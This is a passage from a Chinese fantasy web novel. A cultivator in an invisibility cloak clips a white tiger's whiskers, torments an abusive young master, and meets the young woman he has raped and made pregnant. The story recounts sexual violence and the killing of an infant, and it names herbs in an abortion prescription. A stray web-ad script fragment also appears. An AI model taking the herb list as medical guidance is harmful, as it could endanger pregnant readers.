伏顺噗嗤一声笑了,其他啸山宗的人都躺在地上,一时片刻爬不起来。步云邪注意到符咒上的朱砂变得黯淡起来,似乎要失效了。这二世祖虽然不足为惧,那头白虎一旦清醒过来就不好办了。他悄悄地捅了段星河一下,低声道:“星哥,赶紧走。” 段星河也注意到了符咒的变化,从袖中摸出了两颗雷火弹。他往路上一扔,轰的一声,白色的烟雾顿时弥漫得到处都是。张暮心猝不及防吸了一大口白烟,呛得直咳嗽,挥手喊道:“人呢,快保护我!” 众人护在他周围,什么也看不见,生怕被偷袭了。伏顺等人趁机把大车扶了起来,段星河催促道:“走走走,快撤!” 良久烟雾散去,张暮心胸口的符咒腾地一下子烧尽了,变成了一捧灰洒下来。张暮心打了个寒战,终于清醒过来。他想起刚才发生了什么,气得脸色铁青,怒道:“那帮混蛋,居然敢耍老子!” 其他人纷纷道:“少爷,你没事吧?” 张暮心恢复了本性,一手叉腰破口大骂:“我日你祖宗十八代,哔——,哔哔——,哔哔哔哔哔——” 其他人都听习惯了,觉得这样的少爷才正常,总算放了心。那些喽啰被打的鼻青脸肿的,也有人受了重伤,眼看是没法再追了。嗤的一声,白虎身上的符咒也化成了灰,它觉得自己受到了羞辱,咧开大嘴,发出了一声震天动地的咆哮。 “吼——” 那些人早就已经跑远了,山林上空,一群鸟雀轰然散去。段星河等人不再给他们追上的机会,纵马向前奔去,转眼间便消失不见了。 一众人向西奔行了大半天,直到天黑才停了下来。伏顺还有些心有余悸,道:“你们说,他们还会追来吗?” 段星河道:“都被咱们打成那样了,他们怎么追?” 那些人或多或少都受了伤,短时间内应该来不了了。赵大海跳下车,心疼地摸了摸自己的马,道:“辛苦了,刚才吓坏了没?” 黄膘马咴地一声叫,赵大海仿佛能听懂似的,道:“好好,晚上吃好的压压惊。” 他倒了半口袋炒黑豆,和干草一起放在槽子里。另外几匹马也凑了过来,一起吃着东西。刚才车被老虎掀翻了,不少东西都丢了。赵大海丢了一叠碗,李玉真少了一箱子书,步云邪丢了好几袋药草,心疼的不行。 “我刚买的干姜、红花和艾叶,就这么没了。大冬天怎么过?” 段星河扎着帐篷,一边道:“都是身外之物,人没事就行了。到了下个镇子,我陪你去买。” 步云邪还是懊恼,早知道就少买点了,他还趁着便宜一样买了十斤,本来想冬天泡药浴用,结果都洒在林子里了。 伏顺想着自己失去的那一罐咸鸭蛋,心痛的无以复加。晚上吃饭时,他也提不起精神来。赵大海拿胳膊碰了碰他,道:“怎么了?” 伏顺还是头一次拥有那么多咸鸭蛋,却没能保住,跟流产了似的。他道:“我腌了那么久,哗啦一下子都没了,你明白那种感觉吗?” 赵大海感觉是挺让人崩溃的,安慰道:“想开一点嘛,去前头城里再买点好的。我妹妹教过我一个绝技,能挑到双黄蛋,到时候我帮你去挑。” 伏顺顿时被他转移了注意力,道:“真的?” 赵大海嘿嘿一笑,道:“真的,骗你是小狗。” 伏顺的心情好了一些,露出了一点笑容。李玉真端着一碗黑茶过来,坐在了宋胡缨身边。宋胡缨怀里抱着小对眼,手里拿着一把镶金的玳瑁梳子,轻轻地给它梳着毛。 篝火烧的很温暖,小对眼惬意地打了个呵欠,往宋胡缨怀里钻了钻。李玉真道:“宋姑娘,白天多谢你。” 宋胡缨有些奇怪,道:“谢我什么?” 李玉真有点不好意思,道:“你夸我很有天赋,除了师父,还没人这么夸过我呢。” “没什么,”宋胡缨淡淡道,“你本来就很强嘛,对自己多一点信心。” 李玉真迷惘道:“可是我爹总是让我谦虚一点,不要在外面惹是生非给他丢人。” 宋胡缨叹了口气,道:“你已经谦和过头了,老好人。” 李玉真知道她说的不错,可多年的忍让已经成了习惯,就算让他放开了恣意行事,他也不知道该怎么做才好。 宋胡缨明白他的心思,缓缓道:“我小时候呢,人家说我是个女孩儿,不让我跟我哥一起学武功。我就偏不听那一套,每天一早我就去练武场,我哥扎马步,我就跟着扎。我哥练刀,我就跟着在一旁挥木棍。我娘让人把我关在绣楼里,我就从窗户里爬出去,顺着柱子滑到院子里。” 像那种大户人家,绣楼连个楼梯都没有,只有一个梯子送饭用。多少大小姐被关在里头,十多年也只能看到窗户外的一小片天空,直到出阁才能下地走一走。她从小就跟家里人抗争,实在是很有胆识了。 李玉真还以为她学武很顺利,没想到也是千难万难。他道:“你怎么从小就有那么大主意?” 宋胡缨看着篝火道:“一部分是天性吧,随我爹,生来就能折腾。再者也是看陪着我的那个嬷嬷实在可怜,她待在屋里绣了一辈子花,眼睛弄成了个半瞎,脚也被掰断了半截,走起来一颠一颠的,难看的要命。我问她为什么要这样,她说这叫三寸金莲,等我八岁了,就也要缠脚了。” 她皱起了眉头,仿佛又想起了那双畸形的小脚。嬷嬷说那些话的时候是笑着的,很为她的小脚骄傲,但宋胡缨一点也不想变成那样。她道:“我从那时候起就知道不能听他们的。有些规矩吃人,有些被吃掉的人又去吃别人,没有尽头的。” 李玉真有些同情她,自己虽然也过得不怎么样,至少是个男儿身,不用受这样的规训。宋胡缨道:“我一有机会就去练武场找我爹,磨得他心软了,他终于答应教我用刀。从那以后,我的日子才好过了些。不过前阵子他们又要我嫁人,烦得要死。我就办了个擂台把那些王孙公子暴打了一顿,看以后谁还敢来找我的麻烦!” 她说着攥紧了拳头,仿佛一想起来还生气。小对眼抬起了头,舔了舔她的手背,想让她放松一点。宋胡缨看着儿子智慧的眼神,神色缓和下来道:“没事,睡你的觉吧。” 宋胡缨看向了李玉真,平静道:“人生只有一次,要为自己而活。只要你觉得问心无愧,就不用管别人怎么说。” 李玉真的心头微微一动,不知为何有些心酸,轻声道:“谢谢……其实以前,我还没怎么做过自己呢。” 宋胡缨轻轻一笑,道:“从现在开始也不晚嘛。” 远处传来猫头鹰的叫声,夜晚显得越发安静了。小对眼跳下来坐在它们中间,舒服地蜷成一团。李玉真随手摸了摸儿子,看着跳动的篝火,陷入了沉思。 68.隐身斗篷 三 夜晚静悄悄的,今天不算太冷。段星河收拾了东西,钻进了帐篷。 步云邪躺在睡袋里,良久叹了口气。他贴身穿着一件白色的棉袄,身上散发着淡淡的药香。他乌黑的头发散在枕头上,眉头微微皱着,仿佛在想什么。段星河睁眼道:“还想着那几袋子药呢?” 步云邪道:“不是。” 段星河道:“那是什么?” 步云邪静了片刻,道:“星哥,白天那白虎你觉得咱们能对付得了么?” “打不过吧,”段星河道,“刘盟主还得让它三分呢。咱们白天能全身而退,已经是祖上烧了高香了。” 步云邪道:“我感觉也不是一点机会都没有吧?” 段星河感觉不对劲,坐起来道:“那玩意儿是四圣兽之一,没事惦记它干什么?” 步云邪看着他道:“长生丹里有一味药,叫白虎须,你记得吧?” 段星河的眼皮跳了几下,没想到他胆子不小,还真惦记上那头老虎了。李玉真在外头聊完了,掀开帐篷准备睡觉。他听见了他们的话,惊讶道:“步兄,你想要白虎须?” 步云邪嗯了一声,李玉真道:“咱们好不容易虎口脱险,你还想再去招惹它?” 步云邪也觉得这个想法太冒险了,但四圣兽的行踪不定,如果就这么错过了,下次能拿到药材还不知道是什么时候。李玉真道:“咱们都离开大幽了,没必要再听钦天监的指挥行事了吧?” 步云邪身为丹修,把炼长生丹当成了一个至高无上的挑战,而且炼成了能白日飞升,这对所有修仙者来说都是一个不可抗拒的诱惑。他道:“跟钦天监没关系,是我想试一试。你们要是不同意,明天我自己去看看。” 李玉真感觉他有点不高兴了,眨了眨眼,不知道说什么好。段星河对他一向有求必应,想了想道:“有需要就去拿,我陪你。” 那头老虎张开嘴有脸盆那么大,牙齿跟小孩儿的胳膊一样粗。李玉真担忧道:“很危险的。” “没事,”段星河好像很有自信,“我有办法,保证稳妥。” 李玉真道:“什么办法?” 段星河扬起了嘴角,一副山人自有妙计的模样。他道:“明天你们继续往前走,我和阿云回去一趟,不管能不能拿到东西,两天后我们俩回来跟你们汇合。” 步云邪也有点好奇,段星河却钻回了睡袋,道:“早点睡,明天早起赶路。” 三个人躺下了,步云邪悄悄碰了碰他,道:“什么法子?” 段星河拿他没办法,在他耳边低声说了两句。步云邪的眼睛顿时亮了起来,道:“好主意啊,我怎么没想到呢!” 李玉真凑过来,好奇道:“什么法子,跟我说说。” 步云邪笑了,神秘道:“天机不可泄露,到时候你就知道了。” 金雨城里人来人往,春风客栈的天字间陈设华丽,屋子也格外宽敞。大卧室套着仆役住的小间,中间用水晶帘隔开,地上铺着长绒地毯,被褥也都是新的。住在这里一天要五两银子,来往的贵人才会在这里下榻,一般百姓可舍不得来这里。 啸山宗的人昨天傍晚回了城里,一个个都挂了彩,把小二哥吓得不轻。张暮心脸上挨了伏顺一拳,一边眼睛肿着,怒道:“看什么看,还不去请郎中来!” 小二哥连忙道:“是、是,小的这就去请。” 张暮心回了客房,一名身穿浅黄衣裙的侍妾迎了上来,道:“公子,你回来了。” 她诧异地看着面前的人,张暮心灰头土脸的,烦躁的要命,斥道:“一点用也没有,给我打水去!” 侍妾低下了头,知道他在外头受了气,又要找自己发火。她把铜盆端过来,拿毛巾给他擦去了脸上的灰尘。张暮心越想越气,一把将她扒拉开,道:“起来,笨手笨脚的!” 侍妾被他推的往后倒退了两步,下意识捂了一下小腹。她的腰身有点粗了,似乎已经怀了孩子。张暮心抬起大脚,本来想踹她一记,犹豫了一下还是忍住了。他道:“你且娇惯着吧,等过几个月给我生不出个儿子来,老子饶不了你!” 侍妾转过身去,悄悄擦了一下眼泪,躲到水晶帘后头去了。军师荀越带着郎中进来,道:“少爷,医生来了。” 郎中给张暮心看过了伤口,给他留下一瓶跌打药膏,去照看其他人了。张暮心浑身上下都疼得厉害,活这么大还没挨过这样的打呢。他咽不下这口气,道:“给我想办法追踪那帮人的下落,不能放了他们!” 荀越淡淡道:“少主,咱们的人都受伤了,怕是没法追踪了。” 张暮心愤怒地捶了床一记,道:“再调人来啊,老家没人?” 荀越提醒道:“老爷说了,让你最近安稳一点。老爷把监兵神君请出来是保护你的,不是帮你惹事的。” 张暮心怒视他,道:“你向着谁的?” 荀越劝道:“我是为了你好。忍一时风平浪静,咱们也不是怕了那姓段的野小子,这不是刚惹了浩荡盟的人,不想让人瞧咱们笑话么?” 张暮心咬了咬牙,知道周围有不少人都在暗中盯着自己。他愤愤道:“算他运气好……这梁子结下了,以后再遇上,老子饶不了他!” 次日上午,段星河和步云邪悄然回到了金雨城。啸山宗的人招摇得很,两人找了几个路人一打听,便问到了那些人落脚的地方。二人来到春风客栈旁的小巷子里,周围黑漆漆的,没人注意这里。 段星河左右看了一眼,道:“就这儿吧。” 他摘下了包袱,从里头拿出了一件软软弹弹的斗篷,抖开来披在了身上。有了这法宝,他就能神不知鬼不觉地去捋虎须了,难怪他昨天一副胸有成竹的模样。步云邪眼看着他在自己面前消失了,眨了眨眼,这情形不管经历多少遍都让人惊讶。 段星河低声道:“你去对面等着我,一会儿我拿到东西就出来找你。” 步云邪有点担心,道:“小心点。” 段星河微微一笑,道:“放心,稳着呢。” 他进了春风客栈,来到了三楼天字间门前。他身后传来一阵脚步声,段星河陡然打了个激灵,虽然自己披着隐身斗篷,还是下意识怕被人看见。仆役从他身边经过,什么也没注意到。段星河松了口气,眼看着那人敲了敲门,提着食盒进了屋。 屋门开着半截,段星河悄然钻了进去。仆役放下了盘子,里头盛着些澄粉蒸的水晶糕,一个个压成花朵形,金色的、绿色的馅儿从里头透出来,十分好看。旁边的银碗里盛着些酥酪,点缀着用糖腌的红绿樱桃。段星河下意识摸了摸肚子,有点饿了。这二世祖还真会享受,自己冒着危险大老远跑来摸老虎屁股,他却一醒来就有点心吃。 张暮心睡到这会儿才醒,起身道:“人呢,死丫头,我要喝水。” 他的侍妾从水晶帘后快步走过来,低声道:“来了。” 侍妾捧着茶过来,张暮心喝了一口,噗地喷了出来,道:“怎么这么烫,你想害死我?” 侍妾伸手摸了一下,道:“也没有太烫,我放凉了些才拿过来的。” 张暮心顿时大怒起来,一巴掌把茶盅打翻了,骂道:“你还跟我狡辩,烫不烫我不知道?” 侍妾瑟缩了一下,不敢说话了。茶碗被打碎了,她蹲下一片片拾起来,放在了手帕里。张暮心捏起了她的下巴,道:“我带着这么多人千里迢迢去凤来城,就为了跟你师父讨你,你还跟我有脾气?” 那女子低声道:“我不敢。” 段星河明白了,这应该就是浩荡盟那个被逐出师门的女弟子了。日子才刚开头就过成这样,以后怕是长久不了。她老是这么怯生生的,像只受惊的小兔子一样。张暮心嫌弃地放开了她,那女子兜着碎瓷片过来扔。段星河跟她打了个照面,陡然吃了一惊,没想到遇上了认识的人。 那女孩儿擦了一下眼泪,居然是孙清韵。段星河跟这小姑娘有过一面之缘,为了摘灵光仙芝,他们一起在翠玉山上排过队。头一次见面的时候,她腮里鼓着一块糖,还给了他们一人一块。段星河现在还记得那块糖不太甜,但很有嚼劲儿,带着一股桂花的香气。 她很依赖她的大师兄和师父,一看就是个老实听话的女孩儿。没想到半年多没见,她却落到了这种人的手里。 孙清韵的模样憔悴,早就没有原来的鲜活劲儿了,就像一朵即将开败的花。她已经没地方可去了,没了师父的荫庇,也没有师兄妹撑腰。就算被这草包大少爷百般嫌弃,也只能隐忍。 段星河看的生气,但正事还没办完,只能先去找监兵神君。 那头白虎不在这里,他凝神感受了片刻,走廊尽头的那间屋子灵力最强。他走到那间房门口,侧耳听了听,里头传来一阵打雷般的声音,却是那头白虎在打呼噜。段星河心中一喜,掏出匕首从门缝里插进去,轻轻拨开了门栓。 门悄然开了,屋里铺着一张红色的长绒地毯,一头白虎卧在上面睡得正香。它身边放着一盘烧鸡,一条啃了一半的烤猪腿,还有一大盆羊奶。水晶帘后睡着个小童,大约十四五岁年纪,身上歪盖着一条毯子。看来他已经习惯了跟老虎待在一起,是专门负责伺候这位山君的。 此时白虎变化成了正常大小,远没有在山林里那么吓人了。段星河悄悄走过去,伸手在它面前晃了晃。老虎一点反应也没有,硕大的脑袋比他的手掌大多了,打起呼噜来地板都微微震颤。段星河心想自己终于也有机会捋虎须了,有点小激动。他从兜里掏出一把小剪子,对着它的胡子咔嚓就是一下,一把胡须落在他手心里,跟钢针一样。段星河捻了捻,感觉有点少。好不容易来一趟,还是多剪点,反正不对称也不好看。 他咔嚓又一下,把另外一半剪了下来。老虎感到了一阵凉意,耸了耸鼻子,闻到了一股淡淡的汗味和脚臭融合的气味。它感觉脸上有点异样,还没意识到发生了什么事。它抬起头来,到处寻找那股气息的来源。段星河贴着墙边,屏住了呼吸。 养虎的小童醒了过来,起身道:“神君,怎么了?” 白虎暴躁地吼了一声,小童忽然发现它的胡子不见了,十分诧异。一向只听说过鬼剃头,没听说过胡子也会自己消失的。他指着白虎道:“神君,你的胡子?” 白虎抬起爪子拨弄了一下,忽然发现胡须没了,气的七窍生烟。它从门里冲出去,要寻找那个偷自己胡子的贼人。小童吓了一跳,追上去道:“神君,别出去,吓到别人就不好了!” 段星河看着他们从自己身边跑过去,默默扬起了嘴角。白虎气急败坏的吼声回荡在走廊上,孙清韵听见了,从屋里出来道:“怎么了?” 那小童不安道:“监兵神君的胡子不见了,不知道是怎么回事。” 孙清韵看着白虎光秃秃的脸,它没了胡子,脸盘显得比原来大了一圈,有些滑稽。她快步往屋里走去,想看看地上有没有。她刚进门,就见段星河撩起了隐身斗篷,一脚踩在窗户上,正准备翻出去。两人大眼瞪小眼,孙清韵认出了他,道:“啊……是你!” 段星河慌了,道:“嘘——” 孙清韵没再出声,段星河伸手一勾,猿猴似的翻上了屋顶。脚底下的瓦片密密麻麻的,走起来会发出声音。他打算先在这里避一避风头,一边倾听着下头的动静,看看那帮人被自己气死了没有。 那小童已经把张暮心叫了过来,几人在屋里转了一圈,没发现半点蛛丝马迹。张暮心暴躁道:“怎么回事,谁胆子这么大,敢冒犯监兵神君!臭丫头,你看见了吗?” 段星河的心悬到了嗓子眼儿,生怕孙清韵把自己供出来。孙清韵却沉默着,什么也没说。张暮心皱起了眉头,道:“窗户怎么开了?” 孙清韵道:“不知道,可能是风吹开的吧。” 她说着快步过来,把窗户关上了。小道童觉得事情诡异,小声道:“该不会有鬼吧?” 张暮心抬手给了他一巴掌,呵斥道:“什么有鬼,多半是有贼人上门来挑衅。赶紧叫人集合,把整间客栈都搜一遍,发现可疑的人立刻带过来!” 走廊上传来一阵稀里哗啦的脚步声,啸山宗的人到处搜索。客栈里的人见了这阵仗,都有些害怕。有人道:“干什么的,这么凶?” 侍卫道:“抓贼,快让开!” 快到中午了,大堂里有人喝茶聊天,有人正在吃饭,被他们一吓也吃不下去了。众人心里都很不满,又不敢得罪他们,只能看着他们发癫。 白虎须拿到了,段星河想起孙清韵的事,便生出了一股火气。那小姑娘好端端的,不知道怎么回事就让那个二世祖祸害了。他寻思着这小畜生害过不少女子,方才也疑神疑鬼的,必然是怕遭报应。自己既然来了,就不能轻饶了他。 他从屋顶上轻轻一跃,钻回了窗户里。那帮人刚搜过这里,这会儿正在一楼骚扰别人,张暮心身边反而没什么人了。 那二世祖躺在床上,脑袋朝里,正在小憩。段星河伸出冰凉的手,悄悄摸了摸他的后脑勺。 张暮心睁开了眼,道:“干什么,谁让你摸我了?” 孙清韵正在水晶帘后面坐着,离他老远,道:“我没过去啊。” 张暮心奇怪起来,刚才他确实感觉有一只冰凉的手摸他的脑袋,轻轻的,缓缓的,好像还冲他叹了口气。他浑身凉飕飕的,汗毛都竖起来了,坐起来东张西望了一阵子,周围什么也没有。 白虎的胡须刚刚不翼而飞,又有脏东西来摸自己的脑袋。张暮心打了个寒战,莫非真的有鬼? 前阵子他强抢了个在街边卖艺的女子,那小姑娘烈性,抵死不从,一头撞到墙上磕死了,血流了一地。张暮心遗憾得很,一想起这件事就捶胸顿足。他爹为了摆平这事,花了一千两银子,他却连碰都没捞着碰一下,着实亏了。 再往前寻思,他还在路上抢了个回娘家的小媳妇,也不知道那女人是什么身份来历,玩完了就杀了,连带着襁褓里的孩子也一起掐死了。 他做过多少坏事,自己已经记不得了,但也没什么所谓。他觉得自己身为啸山宗的少主,天生贵命,能被自己瞧上是那些女子的福分。若要顽抗,就是不识抬举。就连正道盟主的女弟子,他想要也能抢的过来,天底下还有什么好东西是他得不到的? 他虽然这么想,内心深处仍然有些隐约的恐惧。那些女人都对他极度痛恨,临死前直勾勾地盯着他,眼神空洞而又可怖,恨不能把他拖到深渊里去。活人虽然不能拿他怎么样,但死人要是来找他算账,那就不好办了。 张暮心这么想着,脸色煞白,显然还是被吓着了。段星河站在他身旁,轻轻地摸了摸他的狗头,仿佛对这颗脑袋十分欣赏,考虑着该从哪里下手才能切得更利索一些。 张暮心这次明显感到了有一只看不见的手在摸他,吓得惨叫一声,向墙角里缩去。他浑身一个劲儿发抖,指着空气道:“鬼,有鬼!” 孙清韵茫然地看着周围,什么也看不到。张暮心连滚带爬地从床头扒出了一叠黄符,朝空中扔了出去。黄符漂浮在半空中,忽悠悠地打转,好像感到了什么,又捕捉不到切实的对象,十分困惑。 段星河悠然地靠在床架子边,使出一股灵力玩弄着那些黄符,像逗狗似的。 张暮心比一开始更慌了,颤声道:“你看见没有,真的有鬼!” 孙清韵沉默着没说话,心里大约猜到是怎么回事了。她温声道:“公子,你别怕,多半是你太累了,先休息一下。” 她扶起了张暮心,给他盖上了被子。张暮心缩在床上瑟瑟发抖,白日见鬼快被吓尿了。段星河出了一口恶气,寻思着也没什么能做的了。他便顺手拿了几块点心,捂在斗篷里下楼去了。 孙清韵瞥见几块水晶糕悄然飘了起来,消失在半空中,知道段星河走了。她快步跟上去,想和他说几句话。张暮心现在最怕一个人待着,连忙喊道:“喂,你干嘛去!” 孙清韵敷衍道:“我去帮你叫人,马上回来。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 段星河吃着点心下了楼,红色的水晶糕是枣泥馅儿的,咬一口又糯又甜。他从二楼拐角处的窗户翻出去,悄然落在了客栈旁边的小巷子里。周围静悄悄的,没人注意到他。段星河把斗篷脱下来,裹在了一张包袱皮里,优哉游哉地去了对面的茶楼。 步云邪在茶楼的二楼坐着,要了一壶龙井,把对面的事都看得一清二楚。他见段星河像猴子似的从窗户里翻进翻出,走廊上一群人大呼小叫地冲过来,折腾了一阵子,又莫名其妙地下楼去,闹得鸡飞狗跳的。很快那一队人跑到了街上,却找不到对手,简直像丈二的和尚摸不着头脑。 一名啸山宗的弟子道:“诶,你说是不是咱们少爷魔怔了,哪有大白天见鬼这种事?” 另一人道:“管他呢,少爷让搜,咱们就去搜。走,去前头看看。” 段星河坐在屋脊后头,没戴兜帽,身上披着毛茸茸的斗篷,露出了个脑袋,朝那边挑衅地比了个小拇指。步云邪忍不住笑了,知道他正事干完了,没事耍着他们玩。 茶喝干了,他让人换了一壶茉莉香片,段星河终于从外面上来了。他从怀里掏出几块水晶糕,道:“尝尝,给你捎的点心。” 步云邪拿了一块金色的,里头是桂花馅儿,但被隐身斗篷捂了一会儿,有股不太好闻的味儿。他咬了一口,道:“啧,又香又臭的,亏你吃得下去。” 段星河穿久了,已经闻不到味道了,道:“有吗?” 他两口把糕点吃了,从腰包里掏出一大把白虎的胡须,道:“喏。” 钢针似的胡须带着淡淡的灵光,是万金难求的宝物。步云邪的眼睛顿时亮了起来,把东西接了过去,赞叹道:“了不起,星哥出马,就是不一样!” 段星河喝了口茶,得意道:“小意思。” 他向窗外望去,忽然见孙清韵从春风客栈里出来了。她站在大街上左右张望,刚才多亏了她替自己遮掩。段星河想她应该是来找自己的,轻轻弹了一点灵光过去。 孙清韵就见一点紫色的光芒在眼前闪了一下。她转过头来,见段星河靠在茶楼的窗边,朝她招了招手,道:“这里。” 孙清韵见没人注意自己,快步进了茶楼。大堂里有青衣正在咿咿呀呀地唱戏,唱到精彩处,楼下的观众轰然叫好。她上了二楼,见段星河跟步云邪坐在雅间里,面前放着一壶茶,一碟瓜子,一盘话梅。对面都闹得天翻地覆了,这边却听着小曲儿怡然自得。 这两个人一直秤不离砣,关系很好的样子。孙清韵见了他们,仿佛想起了从前的事,有些怀念,又有点伤感。她道:“两位,好久不见了。” 段星河给她扯了个凳子,道:“方才多谢你没声张。” 孙清韵落了座,轻声道:“应该的,咱们是朋友嘛。” 她穿着绫罗绸缎,却没了昔日的神采,跟从前那个分桂花糖给他们吃的小女孩儿简直有天壤之别。她的面容苍白憔悴,腰肢却有些粗了,腹中似乎已经有了几个月的身孕。 步云邪的心思敏锐,见她这个样子,想起了之前听到的传闻,下意识道:“浩荡盟的那个女弟子……是你?” 孙清韵点了点头,垂下了眼帘。她知道自己的事现在已经传开了,觉得很抬不起头来。 步云邪有些惋惜,满脸都写着一朵鲜花插在了牛粪上。段星河给她倒了杯茶,道:“张暮心不是个好人,你怎么会跟他走的?” 孙清韵沉默了片刻,低声道:“大师兄出去历练很久都没回来,据说在月亮山一带失踪了。我跟几个师兄师姐不放心,出去找他。结果半路遇到了个人头狼身的怪物,长着一身红毛,厉害得很。我们一共六个人,其他同门都被它害死了,就我一个侥幸活了下来。” 段星河跟步云邪对视了一眼,道:“人头狼身,该不会是胭脂山的那个炽尊狼姥吧?” “有可能,”步云邪道,“那家伙流窜到夷州去了么,那么大一个怪物,也没人管管。” 孙清韵想起当时的情形,还有些害怕。她道:“当时我从山上摔下去,昏了过去。后来一队人路过救了我,他们给我治了腿伤,还问我家在哪里。” 段星河道:“是张暮心他们?” 孙清韵点了点头,段星河啧了一下舌,刚出狼窝又入虎口,这姑娘也是够倒霉的。 孙清韵黯然道:“我的腿摔断了,动不了。张暮心说要送我回凤来城,我很感激他,以为他是个好人。但是后来,他就……把我强占了。我被他关了好几个月,有了身孕。师父知道了这件事,说我有辱门风。我也没脸继续待在浩荡盟,便退出了师门。” 她心中难过,忍不住落下泪来。她也是个受害者,却成了个弃子,没人关心她的死活,好像从来没有这样一个人似的。段星河很同情她,道:“不是你的错,是那个混蛋该死。你师父若真这么迂腐,你也不必再敬他了!” 孙清韵下意识摸了一下自己的小腹,道:“不怪师父,是我不好……我已经没办法回到从前了。” 步云邪道:“你可以重新开始的,虽然师门不要你了,你还是你自己。” 段星河也不知道该怎么帮她,从腰包里掏出两锭银子,道:“你需要钱吗?” 孙清韵摇了摇头,道:“他给了我一些首饰。” 她头上戴着一根金钗,手上有一只翠玉镯子。啸山宗不缺钱,给她穿戴倒是很舍得花钱,唯独不把她当人看。 步云邪沉默着起身,去柜台要了张纸,提笔写了一张药方。他回来把纸放在桌上,朝她推了过去,道:“那姓张的不是良人,离开他,过你自己的人生。” 孙清韵拿着药方,见上头写着五味子、三棱、文术、归尾、葶苈等药。她的呼吸有些颤抖,道:“这是?” 步云邪道:“落胎药,你考虑一下吧。” 孙清韵迟疑了很久,仿佛有些不忍心。啸山宗的人转了回来,站在茶楼前道:“这里搜了吗?” 另一人道:“走,进去看看!” 脚步声从楼梯上传了过来,段星河把茶钱留在桌上,起身道:“我们走了,你多保重。” 他一拉步云邪,两人从窗户里翻出去,悄然从茶楼后面离开了。孙清韵握紧了药方,低下了头,神色黯然。 两人骑马向西而行,往前追了一日,跟赵大海他们汇合了。李玉真期待道:“东西拿到了吗?” 段星河自豪道:“我亲自出马,当然手到擒来!” 李玉真笑了,道:“厉害啊,顺利吗,跟我说说。” 众人围着篝火坐着,火星在夜风中微微飘荡。段星河说自己披着隐身斗篷,摸了那二世祖后脑勺好几下,吓得他浑身的毛都竖起来了,还把那帮喽啰耍的团团转。众人一阵哈哈大笑,觉得痛快得很。宋胡缨想了想道:“那个浩荡盟的女孩儿怎么样,她会离开那个恶人么?” 段星河沉默下来,道:“不知道。” 李玉真想起了孙清韵,叹息道:“也是个挺好的姑娘,可惜了,她还给过我一块糖呢。” 步云邪想起了那块糖的香气,她就像桂花一样,小小的,香气扑鼻而又脆弱,被攀折下来却不被珍惜,实在让人唏嘘。 夜深了,段星河躺在睡袋里,一直睡不着。老天对女子太不公平,让她们生得美丽、善良却又难以自保,在这乱世就像浮萍一样飘荡。像宋胡缨这样的女孩子太少了,大部分女子都忍受着剥削,背负着指责,又随时会被人舍弃。 他翻了个身,越想越不好受。步云邪也没睡着,睁眼道:“怎么了?” 段星河低声道:“你说咱们劝她的话,她会听么?” 步云邪想起了她那一双泪盈盈的眼睛,叹了口气道:“人各有命,听不听是她自己的事,咱们已经尽力了。” 两人对视了一眼,心情都有些沉重。步云邪道:“明天还得赶路,睡吧。” 他们也是朝不保夕的人,还是先保住自己再说。段星河便闭上了眼,渐渐睡着了。 69.司空县主 一 深冬已至,天气越发寒冷起来,路边的树都光秃秃的了。前天夜里飘了点雪,地上到处都白茫茫的。马蹄踩在雪上,发出簌簌的声音。伏顺靠在大车里,打了个呵欠道:“啊,天冷了,好想吃水饺啊。结香,你会包饺子吗?” 跟杂粮、玉米面不同,队伍里的白面、肉食得稍微控一下,要不然一出门就先吃光了。结香道:“我会是会……用面粉的话,你要问段师兄。” 伏顺便把车窗推开一条缝,探出头道:“大师兄,我想吃水饺。” 段星河骑在马上,敷衍道:“想呗。” 伏顺不能被他糊弄了,道:“光想不行啊,面粉给用么?” 上次段星河清点物品,发现带来的大米和面粉都吃的差不多了,玉米糁倒是还有不少。段星河道:“咱们最近都没生财的门路了,你还老想着吃。” 伏顺不知道跟哪儿学的,嗲声道:“好哥哥,天冷了想贴点膘嘛,求你了。” 这么大个男人撒娇一点也不好看,段星河有点受不了,寻思着反正也得补充一波物资了,道:“行行收了你神通吧,晚上包饺子,麻烦结香了。” 结香连忙道:“不麻烦,应该的。” 先前他们被啸山宗的人撵得一路奔逃,此时都有些疲惫了。步云邪呼出一口白气,道:“天冷了,咱们找个地方歇一歇,过了冬再走吧。” 段星河这几天也在盘算这件事,道:“到了下个城镇咱们就停下来,好好休整一段时间。” 众人都松了口气,李玉真道:“段兄,住店钱够么?” 段星河道:“要是有万通商会的客栈,打完折一个月十两银子左右还是住得起的,实在不行就租个民房嘛。” 赵大海坐在车头,感叹道:“你说这钱怎么这么不经花呢,一天挣不到钱,明天怎么活都不知道。” 伏顺也觉得他们这钱赚的太辛苦了,像钱家的大公子和二公子,生下来就在钱堆里,从来不用为了生计烦恼。他叹了口气,道:“人比人气死人啊,要是咱们也有个财神爷就好了。哎你说钱老爷有没有可能有个私生子,比如说像我这种的?” 赵大海道:“行了吧,你怎么老是到处认爹?” 伏顺道:“我乐意,你嫉妒我啊?” 伏顺之前一直管宋胡缨叫义父,宋胡缨对他总是爱答不理的。伏顺一向没脸没皮,照喊不误。他倒是会打如意算盘,只要全天下的强者都跟他有缘,他坐着就能当太子爷了。 一行人走在路上,忽然听见一阵马蹄声从身后传来,一个穿黑色斗篷的人骑着一匹枣红马疾驰而来。那人到了近前放缓了速度,望着他们道:“二哥,是段二哥吧,我可算找到你们了!” 段星河觉得有些奇怪,不知道他为什么叫自己二哥,好像认得自己似的。他注意到了那人斗篷上的纹样,是一个金色的井字,外头包围着一个圆圈,是纵横派的标志。 他明白过来了,天底下也只有于百川会让他的小弟管自己叫二哥。那人喘着气,果然道:“二哥,我是纵横派的人,咱们在莽山见过。大哥让我来给你送一封信,我一路打听过来,有人说见你们往西边走了,可让我一顿好找!” 段星河他们没有固定的住处,这人找过来必然费了不少力气。段星河翻身下了马,道:“好兄弟,辛苦了。” 那人把信从包袱里拿出来,道:“不辛苦,我们本来就是做情报的,东奔西走的都习惯了。” 信是于百川段亲笔写的,段星河拆开看了一遍,顿时睁大了眼,道:“真的?” 于百川已经跟信使说了,他道:“是真的,消息是二十天前得到的。现在各大宗门的人都往凤来城去了,你们也快点去吧。” 步云邪下了马,过来道:“怎么了?” 段星河拿着信的手都颤抖了,道:“于兄说他们的人得到消息,正道宗门的人抓到了一个很像小师妹的人,他们以为她是万象门的妖孽,要把她带到浩荡盟的总舵审问。” 步云邪看完了信,也激动起来。找了这么久,总算有一点音讯了,不管怎么样他们都得去看一看。伏顺道:“如果真是小雨的话,他们为什么要抓她?” 